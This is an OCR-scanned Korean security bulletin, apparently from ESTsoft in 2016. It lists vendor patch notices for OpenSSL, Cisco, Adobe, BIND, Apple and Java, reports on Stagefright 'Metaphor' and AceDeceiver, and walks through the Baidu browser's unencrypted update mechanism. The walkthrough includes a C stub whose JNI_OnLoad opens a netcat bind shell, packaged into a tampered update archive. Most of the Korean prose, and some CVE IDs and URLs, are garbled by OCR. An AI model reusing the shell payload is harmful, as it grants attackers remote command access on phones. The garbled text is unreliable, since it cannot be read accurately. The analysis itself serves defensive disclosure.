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- HOJ|S L3I liZst7| 9ISt NET Framework 0f] CHSt HOt RIL|0|E(3141780)

0| 2Ot YH|0|EE Microsoft NET Framework 2| £2FMS SHZASILICE MBS XML 2AM2| E4 Q40| Chst REMS M2
ZALGHK| 2= NET Framework 7 Q40f HOt 7|5 3|7t EXHILICY,

— Adobe Flash Player 2 9t HH|0|E(3144756)
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38 1 YEXIAZH 2E SSL2 SSLv2 72(Protocol)0il CHEH 71 HHI0|E LEH(1]
SSL Z[OFKS 0[5t Al 274 4HA91 DROWN, CacheBleed 0ff L3t 29t QJEIO|E S
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CVEs o2 LHE H| 1T
CVE-2016-0800 F& | SSLv2E 0|&¢t TLSO| tiet Z2E= 2t &4 | DROWN

CVE-2016-0705 <2 | DFB, &

re

EY

0jo

CVE-2016-0798 =S | SRP CIO|E{H[O[AMAM| TIEE| &5

CVE-2016-0797 S5 |2 ZH IF¥x I AHEM

CVE-2016-0799 =2 |13 HZ2 0l

CVE-2016-0702 g |BiE 34 CacheBleed
CVE-2016-0703 =2 |2 38 guE

CVE-2016-0704 HE | Bleichenbacher 24

(801 2%)

DFB(Double—Free Bug): & LHEZR0| 7[HIS & SH2E, Jotk= HX[| HZ2|E A5 | e
o ZOIE] HEIZ(Null Pointer Dereference): '2 ZEIE{0]| R1|0| ZtS CHRIGHH Liiioh= 0j[2f

2 {8 (Heap Corruption): 38 &gt 37|20t H 2 FH0| HZRQ= M 2lsh= ol

342 B2(Side Channel Attack): LTI2{E0| OIS SPILE RARE S22 S A U5 APe] S21A01 751 2Ry0| s
TltoR sh= 2 e

=& 8= 2121E(Divide-and-conquen): ZILHE sHZE 4= Qi= EHIE 22 2AIE 281610 2XIE dlidol= W

Bleichenbacher &24: RSA 253} HIAIX| LIRS MXIxo=Z L-S517| Qlst 24
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—OpenSSL1.0.1s O] HT:1.0.1s = YH[O|E

—OpenSSL 1.0.2g O HZF:1.0.2g = H|0|1E

-0OPenSSL0.9.8f ! O] H{T: 1.0.1s 22 1.0.2g = HH0|E
(HCO|E LHE)

SSlv2 Z=EE Hlgkdst 7|2 4% & SSlv2 EXPORT =2t HH S

[ZITA0|E] https:/ /mamw.opensslorg/news/secadv/20160301 bt

Cisco HQI AHI0|E A1
CISCO &= NSOl CHAH Tk FMS SHiZsh HOF YHHI0|E A HE
- AMMEE

- (ISCONX-0S AZLEQ0{ SNMPIHZ! MH|A 745 FOFH (CVE-2015-6260)[1]

- (ISCO Nexus 3000 MIZZ & 3500 E2HE ALIX[0] Chst QS5 FIoFH (CVE-2016-1329)[2]

- CISCONX-0S ATLEY|0f TCP Netstack AHIA A5 F{oF (CVE-2015-0718)[3]

- (ISCO & =2t 01Z210[21A HTTPS IZ] &2 24 AH|A 72 F{OF™ (C(VE-2016-1288) [4]

- (ISCO & +E 2t HH {F 3P ((VE-2016-1357) [5]

- CISCO HIZZ0i Y&ke Z= OpenSSL 12 ((VE-2016-0702~0705, (VE-2016-0797~0800) [6]

- (ISCO S& AHFLE| =M1 2| I2A MO|E AFEE FOFH (CVE-2016-1354)[7]

- (ISCOFireSIGHT A AR ATEQ|0] RIX| 22| Ul Z2A AO|E ATFZE FOF ((VE-2016-1355)[8]
- (ISCOFireSIGHT AJARH ATTEQI0] Q15 2 £ ((VE-2016-1356) [9]

- (ISCO Prime Infrastructure 271 Q! §124 HE A8 F{OFE(CVE-2016-1359)[10]
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FRI2 PRIE SOl Tx| M H &L A[E &=

[EOA|E]

[1] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory,/ cisco-sa—20160302-n5ksnmp
[2] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ cisco-sa—20160302-n3k

[3] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20160302-netstack
[4] hitps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ dsco-sa—20160302-wsa

[5] hitps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory,/ dsco-sa-20160302-psc

[6] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ cisco—sa—20160302-openssl
[7] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ dsco-sa-20160302-cucdm:
[8] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20160302—FireSIGHT
[9] https:/ /tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160302-FireSIGHT1
[10] https:/ /tools.cisco.comy/security/center/content/CiscoSecurityAdvisory/disco-sa-20160302-cpil
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UE XF ABUICIE

UHOIE ¥ =T 5.
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Nog Xope

[RHIALOIE] [1] hittp:/ Awww.hancom.com/downLoad downPU.do?mad=005

Adobe Acrobat 41+ F2FE HOF HH|[0|E HAl

Adobe iit= Acrobat DC/Reader DC 2! XI Of|A] B AGH= F[QFMS 1S HOF HH|0|ES WH[1]
2 H ALZAL= e TE ZIH0]| Feket 5= U0] st w2} 3‘-I._ HEHoZ AHI0|IE A1

0

- AMEE
Adobe Acrobat 2| 37H FIQFE0]| Chst HOt AHH0|ES WH[1]
- QIO FE ASHOZ O|0HE! &~ QU= M2 2| &4 FFH(CVE-2016-1007, CVE-2016-1009)

- CRER] 244 ZR20(A ofL{= Qo] T= A1340| EIE4 FOFH ((VE-2016-1008)
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AmEQ0fH

Acrobat DC

Acrobat Reader DC

Acrobat Xl

Reader XI
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][]

Adobe Acrobat DC AKX}

- H=RX, M 2tA9] Adobe Acrobat DC AFEXR= 15.010.20060 A EE= 15.006.30121 HECZ HH|0|E HE

- Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0f| EH=2510] A S MX[5IL, Xi=

ol

S5 2

M

o o
=S o

HHI0[ES 0[E010{ F1201=

Adobe Acrobat Reader DC ARt

- $IERX o 31749 Adobe Acrobat Reader DC ARZAR= 15.010.20060 HHE EE= 15.00630121 HHOE AH[0|E X

- Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0l| Ef2610] A S MX|

Adobe Acrobat XI AF2X}

rr

o3y

I

15.010.20059 & O] B

15.006.30119 & O] BIH

15.010.20059 ! O] HH

15.006.30119 & O] HH

11,014 H OFH ™

11.0.14 2 O KX

- YE=RX, 9 2FA9| Adobe Acrobat XI AKEAR= 11.0.15 MO Z HH0|E ME

- Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)Oi|
HI0|EE 0[3510] & 12|0]=
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Adobe Reader XI AF2X}
- $IERX o 51749| Adobe Reader XI AF2XH= 11.0.15 HEOZ AH|0|E &R

- Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0fl EH2510] Z|A HFS MX[SI7L, Ki=
2H|0|EE 0|8510] 1I0|=

[ZIIAL0|E] [1] https://helpx.adobe.com/security/products/acrobat/apsh16-09.html

Adobe Flash player 4171 F2F™ HOt HH|0[E #H11

Adobe ii= Acrobat DC/Reader DC 2! XI Of|A] 2fASH= Z|oFMS Slizist HOt YIH|0|ES 2H([1]
S KT AKX K= ot AC ZI0)| Ferst 4= Q10] shizeiot| it 2| HFOZ HH0|E &1

- AMEE
Adobe Flash Player 2| 23 7H /0] Lt HOt M0 |ES WH(1]

- QIo|FE MO 0J012! 4+ U= Integer LB FIOFH(CVE-2016-0963, (VE-2016-0993, (VE-2016-1010)
- QJO|TIE AIBHOR 0[0fE 4= Q= use-after-fiee ZIQF(CVE-2016-0987, CVE-2016-0988, CVE-2016-0990, (VE-2016-

0991, QVE-2016-0994, CVE-2016-0995, CVE-2016-0996, CVE-2016-0997, CVE-2016-0998, CVE-2016-0999, CVE-
2016-1000)

- QIO|TFE MSHOZ 0[OfE! 4 Q= &l HIH QHZZQ FOFE(CVE-2016-1001)

- o|FE Ao = 0|0fE 4= Qli= HI=22| &4 FFE(CVE-2016-0960, (VE-2016-0961, (VE-2016-0962, CVE-2016~
0986, CVE-2016-0989, CVE-2016-0992, CVE-2016-1002, CVE-2016-1005)
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Adobe Flash Player
ATEQH it k= HH
AdobeFlash Fayer YTox By | 2000306 OF BN
Desktop Runtime
AdobeFlash Player YTOX B | 1800329 Y Of B
Extended Support Release
H=RX W
Adobe Hash Player L
A 2lsA, 20.0.0.306 % O K™
or e Chrome
3=E0S
Adobe Flash Player
For Microsoft Edge and HERE10 20.0.0.306 H O M
Intemet Explorer 11
Adobe Flash Player
Ve YTexgl | 2000306 O B
for Intemet Explorer 11
Adobe Flash Player for Linux glsA 11.2.202.569 % O™ HH
AIR Desktop Runtime PERx, o 20.0.0.260 3! O] KT

A=, of
AIRSDK 20.0.0.260 ! O HH
QIEZ0|E, I0S

A=, of
AR SDK & Compiler o 20.0.0.260 %! O HH
RIEZ0|E, I0S

AR for Android PIEE0= 20.0.0.233 & O B
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- ofiZ2g
Adobe Flash Player AtSAt
- Y=, M S+249] Adobe Flash Player desktop runtime AREXH= 21.0.0.182(Intemet Explorer) HHOZ AG|0|E ME

- Adobe Flash Player Download Center(http:/ /www.adobe.com/go/getflash)0ll 22510 4 HMS AX| X5 IH0|EE
O[=0otd g101=

—Adobe Flash Player Extended Support Release AF2AH= 180.0.333 HEHCE L|0|E XM
- 2} £H249| Adobe Flash Player ARRAHS 11.2.202.577 HEOZ HE|0|E X
- 32 3= 2 Microsoft Edge 2| QIEJSI AAZZ2{0| Adobe Flash Player £ AX[S AFRAK= XSO 2 Z[A RC0|EZt M

- AIR desktop runtime, AIR SDK Z+ Compiler, AR for Android AF2XK= 21.0.0.176 HECZ SH|0|E &

[2of &2l

Use-After-Free F{FEl: AZEQ0] 731 A| X &2 FXOZ AFE HIZ2|S MRS S0 OIS Al FEALE)SIH
Weok= FF

[RFIALO|E] [1] https://helpx.adobe.com/security/products/flash-player/apsb16-08 html

BIND DNS 4+t F{2fF HoF HHI0|E #H1

DNS AfH|A0| Z=2 O[E&k= BIND DNS 0] S0l 22 58 IS ELHE HoK7F 2o
aE2E]

'r‘rl'_‘
ﬁ
19
oA
o

- AP
S5 R2E TS control MEE TEE 2R, MH2| MHIA HEE REe 4 Q= FIAE(CVE-2016-1285)1]
DNAME 2|AA HFES IHGH= 2PE0IM MH|A HRE [t 2= U= FIFH(CVE-2016-1286)12]
DNS 77| X| 20| E43tE MHOIM 7| SMS MEISk= & AMH[A HE MER7LHE 5= 4= FIUHE(CVE-2016-2083)3]
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(o8 e ATEQ0

- BIND9.9.0 0 ~9.9.8-P3 0ot
- BIND9.10.0 0f&f ~9.10.3-P3 O[5}

2y

ol

- BIND9.9.0 0k ~9.98-P3 O[5t
- BIND9 H%1 99.8-P4A 2 & 180|=

- BIND9.10.0 0|4 ~9.10.3-P3 O[5t

- BIND9 H& 9.10.3-P4 £ & 140|=
[EIIAL|E]
[1] hitps:/ /Kb .isc.org/article/AA-01352

[2] https://kb.iscorg/article/AA-01353
[3] https://Kb.isc.org/article/AA-01351
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Apple H9t HO|0|E H11

Apple iOfIM XA RIS F2FES ofiZet E2HAHI0IE SK|

SAXP} FIEE 018010 IsHE REAIZE +~ U0 5l Apple RIEE AFEdl= 0[SAE2 2IHTHC=E RIH[0|E
o

- SAMEE

Windows 7 02| 2SN 2= HH0[E & 2H= B2S ZAIE = = HIERT Het &5 7 ((VE-2016-

1731)

[—

g%r Hi— AJ:[E_?_”O-I]

o - 1L—

~(iCloud, QuickTime S0l K™ 2| 7|52 ME5k=) Apple Software Update 2.2 0 HT

- ol Zd

Apple Software Update 2.2 HHO 2 AH|0|E - [A74] — [] — [AZEQOIHO|0|E] Mef — [CIREE I MK

=
=

Windaws2 iCloud ) 32 10MB
QuickTime 789 2TI16MB

0 BANE=S ZE MERNA HEL= EY HHO0IES ZEELICL £I 2=
hitps:/'zupport.apple. comke-krHT201222 © AID|EE EZTIH AL,

A5

0l AZEYH= HH0ERE
([t AFESH0F ZHLICE Appl
iwewew apple comlegal/slal

[RIIALO[E] [1] hitps://kbisc.org/artide/AA-01352
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Apple(iOS, watchOS, tvOS, Xcode, OS X EL Capitan, OS X Server, Safari)
HOt HHI0|E #H11

Apple HOfIM XtAF RIZ0H Choll T2 FIFHS siiZet 22tHLI0IES SA
SZAPt FFES 018510 TsHS THAIZA 4= U0 Sl Apple MZS A5 OISAE2 M= HH|0|1E

H

- AP

[GHE AIAR]

- i0S-i0S9.3 Ok (1]

- watchOS —watchOS 2.2 02t (2]

- tvOS-1v0S9.2 02t HF[3]

— Xcode-Xcode 7.3 D2+ 4]

~ OSXEI Capitan - OS X El Capitan 10.11.4 0|2 (5]
- OSXServer—0S X Server 5.1 0|2+ HZ[4]

— Safari—Safari9.1 0|2 (7]

Had

ol

— i0S, watchOS, tvOS, Xcode, OS X El Capitan, OS X Server, Safari AFZX}
- EH|0|X| 2% MX[: http://support.apple.com/downloads/ 30N SHE HES CIRZES510] QIHI0|E TisH

- M HAE0 O1: OE Tl=0IM [ATLER0] /IH|0|E] MEH

- i0S AtEAL

- -2 AT EYOGI0|E] M2 S HX([-[{S]] ME510d HH|0IE

[RIMOIE]
[1] hitps://support.apple.com/en-us/HT206166
[2] hitps:/ /support.apple.com/en-us/HT206168
[3] https://support.apple.com/en-us/HT206169
[4] hitps:/ /support.apple.com/en-us/HT206172
[5] hitps:/ /support.apple.com/en-us/HT206167
[6] https:/ /support.apple.com/en-us/HT206173
[7] hitps:/ /support.apple.com/en-us/HT206171
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Oracle Java SE Critical Patch Update 211

QE}EiitO| Java SE 7,8 0l 24 T= AlSHO| 7Hs5H FQEKO0| WZ4E1]

S2X= SolH A 8 AIE WEs Soll HREE TS Rold] 4dTE RE 7ks

- A

f—

OISFHE= AII EO_”O-]]

OO0 - 1————T

—Oracle JDK and JRE 7 Update 97 HX 2! 512 HF

—Oracle JDK and JRE 8 Update 73,74 HZ L 52| A

% JavaSEEE = FsF QS

t2s

ol

- (R0l 2l TeHE Z017] ?Iot0] AFSAI= ThE1t 22 Al &roloFet

Ir

- LE]

o

A O
T HA

7

HAO|E UE 3 RIS SOEX| ¢

HO

- 2X[E MZe| z]t! HO0IES 225 20t EX[otAHL, Java AFSHEEIO0IE 2ES H1L

[Boga]]
Java Runtime Environment(JRE) : X} A= THLE ATEQ0IE Al3H51 | 2fo 2R

ol
1]

HSSE

[

[ROAIE]

[1] http:/ Aww.oracle.com/technetwork/topics/security/alert-cve-2016-0636-2949497 html
[2] http:/ /mwvw.orade.com/technetwork/java/javase/downloads/index himl

[3] http:/ v java.com/ko/download/help/java_updatexml
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1. S0/A

Stagefright $HE “Metaphor”, 5= BTt L[ A, AX|, HTC E= $=d0f| tHEL
STAGEFRIGHT VARIANT ‘METAPHOR’ PUTS MILLIONS OF SAMSUNG, LG AND HTC PHONES AT RISK

&= BHAIHO| QIE20|E 717] ARBAISO| 2, AWX| HTC E= T 20 = Q0| MO 5= U= M2 Metaphor UASZ0]| ==

9l
E|RACE O EotH AP ERU Z0i| tigh BZ2 =2 A0S okl = ANEE 7|53 Mofg == A Zt.

O|AZ[AC| Ot SIAI21 Northbit O] Z7A5H O] FUFH2 Stagefright FUE HE E|0] U= A= LIEHHT] ks W= 7182
Nexus 5, LG G3, HTC One, Samsung Galaxy S5 SHEAI0|C EESH Northbit & QHE 2 0I': 22,40,50,51 2 M8sk= 717 IEX
Metaphor 0f| Fats Bh=CfaT AL

Metaphor 2 SHJ0|AH| HICIRE SAEGH= E3E Eofet HAXKIS 2O =M TIHEILt AREAP} O] HITIRE 206121
M=ol H, HIEL S2{0]017F =& €710t HIEL —E1|01017 5= = AR E[HA ADEZO| SH=R0], AZEQ0{2} 23
& HIO|ES0] SAKA S =0, FFHO| UK RS 21 4 Q| EICL O] /017 22gt = A== HIE27t
S0 M ==, Ol= 22| Z2HIY B2tX9| "IOF S ASo0] SAXA E= MoE 4~ A== 5106 =Lt

Veracode 2| HTLLIQI Chris Eng = "QI=20|= OIZ2[FH|0|MQ] FOFNS THX[GH= S 4= LS MIEAISTHEAIASOH 2
0122 LO|C}, Stagefright 2| B2, 0| 2XIZ sHZol7| 2Ioi #20| KHHEA S2IY A= Oflat =Lt SEXE OFR7EX| KIS
HIX| 25t Q0| 4 MSID R Stagefright 2.0 0] EEZ0| El= AR | LAIGEK| 047 |S HIZE B0 |CH" 11 2URAC

Metaphor 2 2I=20|E Mediaserver 20|E2{2] ZEHEQ| ZXO1 C(VE-2015-3864 & AUZSICY. Stagefnght =&E 74
MSOZ WY E|QUCt A2 Stagefright 7t WZ4=! & Mediaserver £ 24 | 0|4 IHX[off AT X[t F0H|=, 7122 stagefright
Z[oFMS AXGI= = 70| J2|E|H XIS WESHHL QICt

NorthBit £ IEZ0|E Mediasernver ELEENIA] ASLR S R&|ok= HHHS RO |11 BISHC} EESHAS|IR S 7|
717|0jl CHet M7 HQSIC), 7|7 |0t f7 M CHE ™S AKZSH=D|, O|= QlsH QTM UL O|S 7St FASS HER
Q7| IHE0|C}, St FOFES AKES10, Qlelo| HOIHE SIS HIHRAE R E MHE SEGII, ASIRS =7| fist
H{HE S 5 QA El= Ao|CH" 1 HERCE,

NorthBit = L{H|, =0|, 7|2 &% % St5t “video) El1E AF2510] EZIQ| ZoZ HUH O|C|0 I LHY| 2tsst =l JavaScript

Metadata & 41342+ 4 QACHIE 2HCE CISOE, Mediaserver 7} SifEf DICIO! Tte! Ll IEHIOIEIS 2I=2I@Xi0f Tk &
R4 B0 X} E2 HOfE 4 QU1 51 Z0PE SRS
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NorthBit 2 2t=20|= 5.0,5.1 S AREol= 23 THIES| t==0|= 717, THEF 2.35 S THE| 71717 OJ0]| Fofeh X0[2} =KL
OFEZTRK| 21} 77| HIZEAIS2 0|2t 2Efol0] BHE SIS LSK| 252 JEHO|C

ZX1: hitps://threatpost.com/stagefright-variant-metaphor-puts-millions-of-samsung-lg-and-htc-phones-at-tisk/ 116870/

OHZ DRM ZHZ2 2235t EZ0|=0121 AceDeceiver,

SIS SIX| 222 i0S 717101 U0 Ax][oH
TROJAN EXPLOITS APPLE DRM FLAW, PLANTS MALWARE ON NON-JAILBROKEN 10S DEVICES

OHZ2] 0S 7|7 1S0] & LI I90f ZZ42| EF0] EIRICH SIS0l [ of= 0[0] S22] O 600 BTl 05 717152 2
ARZ1 2402 LiERLE

Palo Alto Network Of|A] 24745t AceDeceiver =, Windows PCEE S5l i0S 717|152 2 A|7 IU1 OHZ=2| DRM AZEZ|0{2]
AAA S ofg5ICt XIZ77IK| AceDeceiver = S=20]| Q= i0S SASOIAH2E FekS 0|71 ZHAOZ HO|H, 04Z2] FairPlay DRM
AAHIS 012510 =2 5| 22 77152 MaHoZ A7 A HYI0Ek= FHoIA IR ST & 4= UC
AceDeceiver = St 342 Alslish= SAXIS0| RXI2| OfF ID € RE5IEE £ & U= 530 A I0S 717 |22| ME2
5125HA| =ICt.,

AceDeceiver 2| IE LI2 E0[5t M2 HAl OIS JHLUK} QIZSME AUKSHAT! ZergHelper S2| O[MITEXIC| i0S HYORb= RpH5}
EICk= HO|C}. AceDeceiver = CHA “FairPlay St S4'C= U2Rl 2 El 7|=2 2U7H HEGI ALZ3HCE St 0l= {47t
UOIXHK] Z25HA i0S 7|7 |0f| 2bd HS HX[Gh= E[=2| HYUOO|CE,

AceDeceiver = Sl Z=2| S22 EFICE 5111 UX|PE TE XHSE £1A| EFIO| = 4~ T &

gl
min
FIO

g,

SAKS2 20158 7 258E 2016 '3 1 277HX| OHZ2| & AE0{0f| AceDeceiver 2| 232 MO[H 3 7HXIS SEIIRALL.

I

0] 37H2| 2 OHE FAISO] iTunes Y 52 =2 SHKIUA MISot== £0(7| floll 24 =T 0l= LIS Windows
O1ScIAH|0 192 Aisi Helper 2} 21 AZE = ULt 2 S=2| PCASASHA DFIE =1 U= AlsiHelper = i0S AIAEIC)
4 X IHER|, B, 77| e, AL 22ld S& #IeH0S 8 RERIEEL sk ULt

Il

SHXI2 Windows RXIS0] Alsi elperAﬂE%’—JloiE PCOf| &Xlotd 7101 i0S 717 1S H&oIH, S 7A7H &KX 2ol
i0S 717104] 2k M= AX[et == | Lt SAKIS2 0HE2| AceDeceiver 2| S21 MHE AFESIK FairPlay DRM H=HI012E

AFECZN 022t SAS e 4= QUL 0f2fet EfRle| SAS "FairPlay SZAISZ 024 SHH, 2014 'E X5 2 ERACE
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0] 37H2| ¥= AH| oFALCt. SFX|ZH Palo Alto = O] #2FE0| 05| Aisi

rlo

OS2 Xlict 2 2 AceDeceiver SOFE0] Chsh A2 2 5
Helper ATLESI01Z S5 2420| 7KS31CHT BT, TS "SHAP 0HZQ] 5910 SARRS IS 4 QU= 51 o4y ¢S
THEER(7 | foH Y AEO{0| RS L7} ST T LRI, 00| DR 2| SO QI3 Tunes AER HOKE 5900]
0|02 4 Q7| HHZOIC,

AceDeceiver = UEHOS Of| %] S/, R 717 [0k JME IfE| & AEO{Q| Sf2S SIC, O] WETIE| 2 AEOK= BZKISO
of3f HIOYEIT, CIofet QLRI AUSS HBBIL, RASS 22 Sf&Mt 0S US PHIs LIR2E 517 I 02 DS
QU5IzE 27 Firt

O[2t 2Hot0] OS0| THES LFJKRIT, OFX| HHS BIX| Zet SEHOIC.

EX: https://threatpost.com/trojan-exploits—apple—drm-flaw~plants-malware-on-non-jailoroken—ios—devices/ 116820/
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2. 3=

QIER0|E B HIOIS HRIQX0 TRHE|0] Q= RIZTE AR Fiory 24

= F 4, HO|F HefRXN AEZ0|E HHEOA HATEA0] Jtset FES YHsHIM.

=<

He

Citizen lab 2 windows 2 QtEZ0|E HMQ| HIO|&= Hat

i ZE MOIJ0| HOIUX| Lt 0l= 0]
D2 H22 ANTCT} Yolo| AES A g

ZAQUCH= XO[EE BRI,

ANz AEZ0|E HefRX 7} 0l2{gh 2HHstX| f= HHI0IE MAE H{aUACHH, Tt HTTPS & AtEdOf
oIt ofX|Zh 0| DfS 2t%HolX|l= f4Ct.
2 Hetxo| et Ads Lelikt ofReH, =0l 21 7Y 2[4 H2tRXA HA| 0]

2= AZXAHfA 0 =
|of 0| Heks Be A2 LIEIHN. M7 siE HateXAe =X 225+ 1000 2~5000 ZHO|Ct.

bl

x
0| B2t2XE HX| & mitmproxy & S510] WS DTLIEIYGIAC HIO|S B2teXo] Mx| Efzg
= 2t 3

o o =01=
Ofeliet 22 HESS =0

o
I
l'.J_ u

ESTsoft


https://citizenlab.org/2016/02/privacy-security-issues-baidu-browser/
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HefRXME http & Sot0 apk & WHE=H

http://s.mobile-
global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

ToF request IjZ! SO{EM, L2 JSON I7|X|E 2 £ U=, apk HREE url 2 MISSHELL.

GET http://mobile-global.baidu.com/mbrowser/management/zeus_update.do?si=12.1.0.0&50=6.2.7.11&zi=-
&z0=-&api=1&pt=ma&co=US&la=en&ch=gp&av=

6.3.0.1&sv=a_19&pr=&n=

"d": {

"downUrl":"http://s.mobile-
global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk”,

"force": lloll’

Ilfreqll: "365d|l’

'md5":"54b2672d5353481ab5a762bdcd74977f",

"remindCount™: "1",

'size: '7636",
2" '12.1.0.0',
'20""6.2.7.11"

}7
"n": "8913ced893e7656ab190490d9bf96e9f",

"S": 1
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x| 2z 20| ASXAHOA ofeiet 22 HHEIb HO L.

Q AN [ @@ W

Install T5 engine

T5 engine download is complete, it
will take effect after the browser is
restarted. You will start to experience
faster browsing.

Later Restart now

T5Update APK

Citizen lab 2 L& ¥== 080510 5Update APK 2| i8S HTHERUATS.

ESTsoft
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wget http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

--2016-02-27 12:56:15-- http://s.mobile-
global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

Resolving s.mobile-global.baidu.com...63.217.158.178 Connecting tos.mobile-global.baidu.com|63.217.158.178|:80...
connected. HTTP request sent, awaiting response... 2000K

Length: 7819869 (7.5M) [application/octet-stream]
Saving to:'54b2672d5353481ab5a762bdcd74977f.apk’

54b2672d5353481ab5a762bdcd74977f.apk

2.10MB/s in 3.8s

2016-02-27 12:56:21 (1.95 MB/s) - '54b2672d5353481ab5a762bdcd74977f.apk'saved [7819869/7819869]
unzip -154b2672d5353481ab5a762bdcd74977f.apk

Archive: 54b2672d5353481ab5a762bdcd74977f.apk

Length Date Time Name

21704 03-24-1514:32  libbaidujni.so
99576 03-24-1514:32  libdumper.so
66748 03-24-1514:32  libZeusPlatformImpl23.so
66752 03-24-1514:32 libZeusPlatformImpl40.so
66752 03-24-1514:32 libZeusPlatformImpl41.so
66752 03-24-1514:32 libZeusPlatformImpl42.so
66756 03-24-1514:32 libZeusPlatformIimpl43.so
66756 03-24-1514:32 libZeusPlatformIimpl443.so
66756 03-24-1514:32 libZeusPlatformImpl44.so
66752 03-24-1514:32  libZeusPlatform.so
14495444 03-24-15 14:32  libzeus.so
493810 03-24-1514:33  com.baidu.zeus.jar

15644558 12 files
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A HIO|E EBQKE HTTP S 0I8310] 29 THUQ| zip IHUS L2 wH=C}
M 0] IFYO| OfCI0f YEO| Z2|0f MOIX|=X| OLOF BT T2HM DB|= HIOIE HEIRRQ| Ho|E 228
HQICH

root@hammerhead:/data/data/com.baidu.browser.inter/files# ls —la

drwx-————- u0_a151 u0_a151 2016-02-27 11:57 AFRequestCache
—rw-—-—--- u0_a151 u0_a151 332016-02-27 11:57AF_INSTALLATION
drwx————- u0_a151 u0_al151 2016-02-27 11:57 bbm
—tW——————— u0_a151 u0_al51 10453 2016-02-27 11:57 config_gb.json
drwx-————- u0_a151 u0_a151 2016-02-27 11:57 cyber
drwx-————- u0_a151 u0_al151 2016-02-27 11:57 data
drwx————-- u0_a151 u0_al51 2016-02-27 11:57 deeplink
drwx————- u0_a151 u0_al151 2016-02-27 11:57 float_window
drwx————- u0_a151 u0_al151 2016-02-27 12:44 home
drwx————-- u0_a151 u0_al51 2016-02-27 11:57 images
—rwxr-xr-x u0_a151 u0_a151 13592 2016-02-27 11:57 libprocmox_v1_4.s0
drwx-———-—- u0_a151 u0_a151 2016-02-27 11:57 misc
drwx—————- u0_a151 u0_al51 2016-02-27 11:57 plugin
drwx—————- u0_a151 u0_al51 2016-02-27 11:57 pv

drwx-——--—- u0_a151 u0_a151 2016-02-27 11:57 skin
drwx-——--—- u0_a151 u0_a151 2016-02-27 11:57 splash
drwx-——--—- u0_a151 u0_a151 2016-02-27 11:57 version
drwx——x-—-x u0_a151 u0_al151 2016-02-27 12:44 zeus

T5Update APK 28It

TS SUCE = I, zeus I

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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root@hammerhead:/data/data/com.baidu.browser.inter/files/zeus/libs# ls -la

—rw-r——r-—u0_a151
—rw-r——r-—u0_a151
—rw-r——r-—u0_a151
—rw-r——r——u0_a151
—rw-r——r——u0_a151
—rw-r——r-—u0_a151
—rw-r——r-—u0_a151
—rw-r——-r-—u0_a151
—rw-r——r——u0_a151
—rw-r——r——u0_a151
—rw-r——r——u0_a151
—rw-r——r-—u0_a151
—rw-r——r-——u0_a151

-rw-r——r——u0_a151

0710 & == UXOI, O] HUS2 /files/zeus/lib FF SII0 HX[EC). JELEH 2= exp & A&

ULt

EXP

u0_a151
u0_a151
u0_a151
u0_a151
u0_a151
u0_a151
u0_a151
u0_a151
u0_a151
u0_a151
u0_a151
u0_a151
u0_a151

u0_a151

1252704 2016-02-27 12:44 com.baidu.zeus.dex

493810 2016-02-27 12:44 com.baidu.zeus.jar
66752 2016-02-27 12:44 libZeusPlatform.so
66748 2016-02-27 12:44 libZeusPlatformIimpl23.so
66752 2016-02-27 12:44 libZeusPlatformIimpl40.so
66752 2016-02-27 12:44 libZeusPlatformIimpl41.so
66752 2016-02-27 12:44 libZeusPlatformIimpl42.s0
66756 2016-02-27 12:44 libZeusPlatformIimpl43.s0
66756 2016-02-27 12:44 libZeusPlatformIimpl44.so
66756 2016-02-27 12:44 libZeusPlatformIimpl443.so
21704 2016-02-27 12:44 libbaidujni.so
99576 2016-02-27 12:44 libdumper.so

14495444 2016-02-27 12:44 libzeus.so

17 2016-02-27 12:44 ver.dat

Otaf= Citizen lab 7t HAZZROIS MES Y-S 2ol = AO|Ct.
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Ll

Citizen lab 2 zip CI2ZE Z3JE T5Update APK 2 CIREE QF I3l

OfA

HIO|= E2t@X7t =7|=t 2 O, O MUSS 2T Al7|=X| LOEUCE

D/dalvikvm(21640): Trying to load

lib/data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38D/dalvikvm(21640): Added
shared

lib/data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38

Libzeus.so = LIMX| gI2 MEHO|RCH, L= 0|A= HHYXIZ| 5] zip S HAA|7|=0H 0[E5H7|= otk

#include (jni.h)
#include {stdio.h)

#include {stdlib.h)

int JNI_OnLoad( JavaVM* vm, void* reserved)

{

system("/data/local/tmp/busybox nc -Il -p 6666 —e/system/bin/sh");

return JNI_VERSION_1_6;

g R2l= 37 A1 282 O EXH. O[F AYIES Y zip TR0 Q1AM A[FOF SiCf,

ESTSOft Copyright by ESTsoft corp. All rights reserved.



Part4. slie| 2o S

unzip -l bad.apk

Archive: bad.apk

Length Date Time Name

493810 03-24-1514:33 com.baidu.zeus.jar
21704 03-24-1514:32 libbaidujni.so

99576 03-24-15 14:32  libdumper.so

9356 02-13-16 16:20 libzeus.so

66752 03-24-1514:32 libZeusPlatform.so
66748 03-24-1514:32 libZeusPlatformImpl23.so
66752 03-24-1514:32 libZeusPlatformImpl40.so
66752 03-24-1514:32 libZeusPlatformImpl41.so
66752 03-24-1514:32 libZeusPlatformImpl42.so
66756 03-24-1514:32 libZeusPlatformImpl43.so0
66756 03-24-1514:32 libZeusPlatformImpl44.so

66756 03-24-1514:32 libZeusPlatformImpl443.so

